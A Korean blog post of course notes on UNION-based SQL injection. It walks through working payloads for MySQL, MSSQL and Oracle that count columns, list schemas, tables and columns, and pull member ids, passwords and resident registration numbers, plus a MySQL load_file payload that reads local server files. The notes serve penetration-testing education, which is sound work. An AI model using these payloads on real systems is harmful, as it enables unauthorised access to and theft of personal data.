본문 바로가기
정보보안/모의해킹

모의해킹 강의(SQL Injection Part1) 9 UNION-BASED

by IT매니절 2024. 10. 26.

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

강의주소 :  https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard

 

UNION-BASED 공격이란
Union 기반 sql 구문을 통해 공격자가 의도한 데이터를 반환받는 것

 

제한
- union은 제일 뒤에 사용되어야 하는 구문
- 멀티라인 주석처리가 불가능하므로 sql문이 개행되어 있으면 불가능
- 웹 어플리케이션 환경이 맞아야 함

공격 적합성 검토
- 공격 가능한 웹 어플리케이션 확인 (사용자 입력값을 통해 DB값이 출력되는 영역)

공격 불가능한 웹 포인트 : 아이디 중복 조회(단순히 사용가능유무에 대한 출력일 때), select 기능이 아닌 기능(수정,삭제...)

 

get으로 만들었으므로 url에 파라미터로 붙는다

싱글쿼터 입력 : 사용 가능하다고 함 -> 취약
ad' 'min입력 : 사용 불가능
ad'a'min입력 : 사용 가능
' or 1=1# : 사용 불가능
' or 1=2# : 사용 가능

이를 통해 injection은 가능하나,
union injection은 불가능함을 파악할 수 있다
(입력값에 상관없이 사용 가능, 불가능만 출력되기 때문)

 

이러한 경우 blind 기반의 injection을 수행한다

 

union 공격이 가능하려면?

 

$user = $tmp->fetch_assoc();
$msg = "<font color='red'>'{$user[id]}'는(은) 사용 불가능한 아이디 입니다.</font>";

 

이러한 형태처럼 db를 거쳐서 출력되는 영역이 있어야 함

형식
select 컬럼 ... from 테이블
UNION select 컬럼 ... from 테이블
UNION select 컬럼 ... from 테이블

상위(첫번째) select절의 컬럼 개수와 컬럼 데이터 타입이 일치해야 한다

 

UNION : 중복제거
UNION ALL : 중복을 제거하지 않는다

단순하게 보면 UNION이 좋아보이지만
데이터가 많을 경우 중복제거시 많은 시간이 소요되므로 UNION ALL을 주로 사용한다

 

 

mysql> select * from user1 union select 'test';
ERROR 1222 (21000): The used SELECT statements have a different number of columns
=> 컬럼 개수가 맞지 않아 에러 발생

중복제거, 중복 제거 하지 않음

 

union-based 공격시 대용량 데이터 대상으로
중복 제거 기능과 정렬 기능을 사용할 수 없다
=> union : 비효율적이기 때문

=> order by : 대용량 데이터 기준으로 할시 에러 발생 (mysql 제외)

=> union 사용시 상위 select 문에 order by 구문이 있을 경우 에러 발생

( mysql> select * from user1 order by 1 union select * from user2;
ERROR 1221 (HY000): Incorrect usage of UNION and ORDER BY )

 

공격 프로세스
1) 검증
order by 구문 실행 확인 > union 구문 실행 확인 > 출력 포지션 파악
2) 공격
기본 정보 목록화 > 메타 데이터 목록화 > 데이터 목록화

 

order by 구문 실행 확인
- 컬럼 개수 파악, 컬럼 데이터 타입 확인

예시)

?id=' order by 3 #
?id=%27+order+by+3+%23
=> 1부터 순차적으로 실행 후 3에서 에러 발생 확인

* 단, 컬럼 개수를 초과한 것이 아니라 대용량 데이터 컬럼이어서 에러가 난 것일 수 있으므로, 에러난 번호의 순서를 건너뛰어서 확인해보는 것이 좋다

* 마지막 컬럼이 대용량 데이터 컬럼인 경우도 있을 수 있음

 

컬럼 개수 파악

' union select null #
' union select null,null #
?id=%27+union+select+null+%23
?id=%27+union+select+null%2Cnull+%23

 

null값은 컬럼타입에 구애받지 않으므로 테스트로 적합

 

* mysql, mssql은 from절 생략가능
oracle은 더미테이블을 통해 from절 반드시 들어가야함

 

 

union이 아니라 order by 절로 컬럼 개수를 파악하는 이유
1) 컬럼 개수가 많을 경우 order by절이 훨씬 빠름
2) 문제가 생길 경우 문제의 원인을 빠르게 파악 가능
=> 실무에선 union 공격이 불가능한 환경이 많고 (함수 인자로 들어간다든지, 개행이 있다든지, select전에 update절이 있다든지 등등), union 공격이 불가능한 상황인데 모르고 계속 null값을 추가하는 경우가 있음

 

 

실제 환경에서 테스트

select * from tb_board order by 3;
세 번째 컬럼이 공통적으로 text 컬럼이다
mysql은 상관없으나 oracle이나 mssql은 에러가 난다

 

3번째 컬럼이 text이므로 union의 중복제거가 불가능하여 에러가 난다

union all을 사용하면 정상 출력됨을 확인할 수 있다

 

출력 포지션 파악
db를 통해 출력시킬 영역의 위치를 파악
(ex 몇 번째 컬럼이 게시판의 어디에 위치하는지 등)

 

' order by 8#
=> Unknown column '8' in 'order clause' 1부터 상승시켜 확인. 혹시몰라 9를 넣어보면 에러. 7개로 추정.

 

 

MYSQL의 경우


' union all select null,null,null,null,null,null,null #
=> 정상실행
' and 1=2 union all select 'aaaa','b',ccc',null,null,null,null #

=> 에러발생하여 건너뜀
' and 1=2 union all select 'aaaa','b',null,'dddd',null,null,null #

 

기본 정보 목록화

 

' and 1=2 union all select version(),system_user(),null,database(),null,null,null #

 

데이터베이스 목록화

' and 1=2 union all select schema_name,null,null,null,null,null,null from information_schema.schemata #

 

테이블 목록화

' and 1=2 union all select table_name,null,null,null,null,null,null from information_schema.tables where TABLE_SCHEMA = 'board' #

컬럼 목록화

' and 1=2 union all select column_name,null,null,null,null,null,null from information_schema.columns where TABLE_NAME = 'members'#

데이터 목록화

' and 1=2 union all select id,idx,null,password,jumin,null,null from members#

 

게시판 목록 > 다수의 레코드
게시판 상세보기 > 하나의 레코드

?idx=4 order by 12
?idx=4%20order%20by%2012
=> 컬럼개수를 넘는데 왜 실행이 되는것일까? 원래는 에러가 나야하는데 mysql이라서 예외적이다. 간혹 에러를 무시해버림. (mssql에서는 찾을 수 없는 게시물이라고 뜸)

?idx=4 and 1=2 union all select null,null,null,null,null,null,null %23
?idx=4 and 1=2 union all select null,'222','333','444',null,null,'777' %23

(복습: %23은 #을 의미한다)

 

 

 

MSSQL의 경우

' order by 1 --
=> 1씩 상승하며 테스트. 컬럼 개수는 7개로 추정.

 

' union all select 'A1',null,null,null,null,null,null --
=> message: varchar 값 'A1'을(를) 데이터 형식 int(으)로 변환하지 못했습니다. (severity 16) 
에러가 나는 컬럼은 건너뛰어서 진행
' union all select null,'a2',null,'a4',null,null,null --
' union all select null,'a2',null,'a4',null,null,'a7' --
=> message: 문자열을 날짜 및/또는 시간으로 변환하지 못했습니다.
날짜컬럼이라 또 에러가 난다 

 

기본 정보 목록화

' union all select null,@@version+', '+system_user,null,db_name(),null,null,null --

(복습 : mssql은 + 를 연결연산자로 사용한다)

데이터베이스 목록화

' and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases --

테이블 목록화

' and 1=2 union all select null,name,null,null,null,null,null from sys.objects where type='U' --

컬럼 목록화

' and 1=2 union all select null,name,null,null,null,null,null from sys.columns where object_id=object_id('board..members') --

데이터 목록화

' and 1=2 union all select null,concat(id,',',password),null,jumin,null,null,null from members --

 

게시글 상세보기에서

?idx=4 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases --

 

 

 

 

oracle의 경우

' order by 7 --

컬럼개수 파악

 

기본 정보 목록화

' and 1=2 union all select null,user||', '||(SELECT global_name FROM global_name),null,(SELECT banner FROM v$version WHERE rownum=1),null,null,null from dual --

데이터베이스(대신 owner) 목록화

' and 1=2 union all select DISTINCT null,owner,null,null,null,null,null from FROM all_tables --
=> 맞는데 왜 안 되지? 그 이유는 3번째 컬럼이 대용량 레코드여서 distinct를 사용할 수 없기 때문
그래서 서브쿼리를 사용한다

' and 1=2 union all select null,owner,null,null,null,null,null from (select DISTINCT owner from all_tables)a --

 

테이블 목록화

' and 1=2 union all select null,table_name,null,null,null,null,null from all_tables WHERE owner='C##TESTER' --

컬럼 목록화

' and 1=2 union all select null,column_name,null,null,null,null,null from all_tab_columns WHERE owner='C##TESTER' AND table_name='MEMBERS' --

데이터 목록화도 별 다를 게 없다

단, 오라클의 concat은 인자값을 두 개까지만 셋팅 가능하므로 주의할 것

+ 반드시 from절이 있어야 한다

 

 

게시글 상세보기

 and 1=2 union all select null,'a',null,null,null,null,null from dual --

분명 두번째 컬럼에만 'a'를 넣었는데 'a'는 잘 출력되고 애먼 곳에 저런 에러가 떠있다

null값임에도 오라클은 데이터 타입에 민감하기 때문에 그렇다. Contetnts 인 걸로 봐서는 text 대용량 타입으로 추정된다.

이럴때는

 

 and 1=2 union all select null,'a',to_clob('a3'),null,null,null,null from dual --

오라클에서는 CLOB라고 2기가 이하의 문자열을 담는 타입이 있다 (4기가 이하 유니코드는 NLOB)

to_clob 함수를 이용해 셋팅해줄 수 있다

 

 

이전에 아이디 중복 체크 기능 만들었던 것에

union-based 공격을 한 결과

 

 

 

 

 

mysql에서 union-based를 통한 로컬 파일 무단 열람

' and 1=2 union select null,load_file('/apm_setup/htdocs/board/common.php'),null,null,null,null,null #

load_file은 권한이 필요함

load_file 권한 확인해보기
' and 1=2 union select null,file_priv,null,null,null,null,null from mysql.user where user='root' #

load_file 실행을 막으려면 해당 사용자의 mysql.user의 file_priv를 N으로 수정하면 된다

(php + mysql)
웹서버와 dbms가 물리적으로 동일한 환경에 있어야 할 수 있는 공격

여러가지 응용 공격 가능. 파일다운로드 기능을 간접적으로 실행할 수 있다
(sql 인젝션 취약점을 통한 파일 다운로드 취약점)